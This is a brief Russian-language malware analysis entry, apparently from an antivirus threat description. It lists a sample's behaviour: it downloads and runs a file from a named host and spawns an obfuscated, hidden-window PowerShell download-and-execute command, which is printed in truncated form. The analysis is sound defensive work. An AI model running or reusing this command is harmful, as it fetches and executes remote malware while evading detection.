Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://zonexxopera.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "powerSH^Ell.^e^xE -exEC^UTION^Po^Li^cy bYpA^sS ^-N^o^pR^OfIl^E -^W^INDOWs^tyle^ ^HIDdEN ^(^n^Ew-O^bj^e^CT ^SY^S^te^M.^Ne^t^.^wEbCli^EnT^).^D^oW^nloAd^fILe('http://zonexxopera.top/read.p...
Сетевая активность
UDP
- DNS ASK zo###xopera.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "powerSH^Ell.^e^xE -exEC^UTION^Po^Li^cy bYpA^sS ^-N^o^pR^OfIl^E -^W^INDOWs^tyle^ ^HIDdEN ^(^n^Ew-O^bj^e^CT ^SY^S^te^M.^Ne^t^.^wEbCli^EnT^).^D^oW^nloAd^fILe('http://zonexxopera.top/read.p...' (со скрытым окном)
